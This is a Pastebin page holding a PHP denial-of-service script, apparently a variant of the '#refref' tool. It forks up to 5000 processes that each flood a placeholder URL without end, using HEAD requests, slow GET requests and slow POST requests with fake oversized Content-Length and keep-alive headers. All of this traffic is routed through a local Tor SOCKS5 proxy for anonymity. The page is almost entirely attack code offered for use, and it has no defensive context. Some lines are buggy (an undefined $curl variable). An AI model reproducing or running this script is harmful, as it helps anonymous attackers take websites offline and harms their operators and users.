Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- /** PHP variant of #refref using slow GET headers, slow POST, keep-alive with max of 5000 theads
- * Usage php ./<script.php> <number of processes> <method>
- **/
- function usage($argv) {
- print "Usage: php ./{$argv[0]} <number of processes> <method>\n";
- die();
- }
- function head($url) {
- while(true) {
- $header[] = "Connection: keep-alive";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_NOBODY, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch, CURLOPT_VERBOSE, true);
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
- curl_setopt($ch, CURLINFO_HEADER_OUT, true);
- curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
- curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
- curl_exec($ch);
- curl_close($ch);
- }
- }
- function post($url) {
- while(true) {
- $header[] = "Keep-Alive: 900";
- $header[] = "Content-Length: 1000000000";
- $header[] = "Content-Type: application/x-www-form-urlencoded";
- $header[] = "Accept: *.*";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch, CURLOPT_VERBOSE, true);
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
- curl_setopt($ch, CURLINFO_HEADER_OUT, true);
- curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
- curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
- curl_setopt($ch, CURLOPT_POSTFIELDS, ".");
- curl_exec($ch);
- curl_close($ch);
- }
- }
- function get($url) {
- while(true) {
- $header[] = "Keep-Alive: 900";
- $header[] = "Content-Length: " . rand(10000, 1000000);
- $header[] = "Accept: *.*";
- $header[] = "X-".rand(0,9).": " . rand(1, 10000);
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch, CURLOPT_VERBOSE, true);
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
- curl_setopt($ch, CURLINFO_HEADER_OUT, true);
- curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
- curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
- curl_exec($ch);
- curl_close($ch);
- }
- }
- function main($argc, $argv) {
- $url = "http://<some url>";
- $status = 1;
- if ($argc < 2) {
- usage($argv);
- }
- //check threads
- if($argv[1] > 5001) {
- echo "MAX OF 5000 threads\n\n";
- die();
- }
- $pids = Array();
- for ($i = 0; $i < $argv[1]; $i++) {
- $pid = pcntl_fork();
- if ($pid == -1) {
- die("ERROR");
- }
- else if ($pid == 0) {
- $loc = $url.rand(1000000, 999999999999999);
- if($argv[2] == 'H') {
- head($loc);
- } elseif($argv[2] == 'G') {
- get($loc);
- } elseif($argv[2] == 'P') {
- post($loc);
- } else {
- $rand = rand(0, 2);
- if($rand == 0) head($loc);
- if($rand == 1) post($loc);
- else get($loc);
- }
- exit(0);
- }
- else {
- $pids[] = $pid;
- }
- }
- foreach ($pids as $pid) {
- pcntl_waitpid($pid, $status);
- }
- }
- // fire everything up
- main($argc, $argv);
Advertisement
Add Comment
Please, Sign In to add comment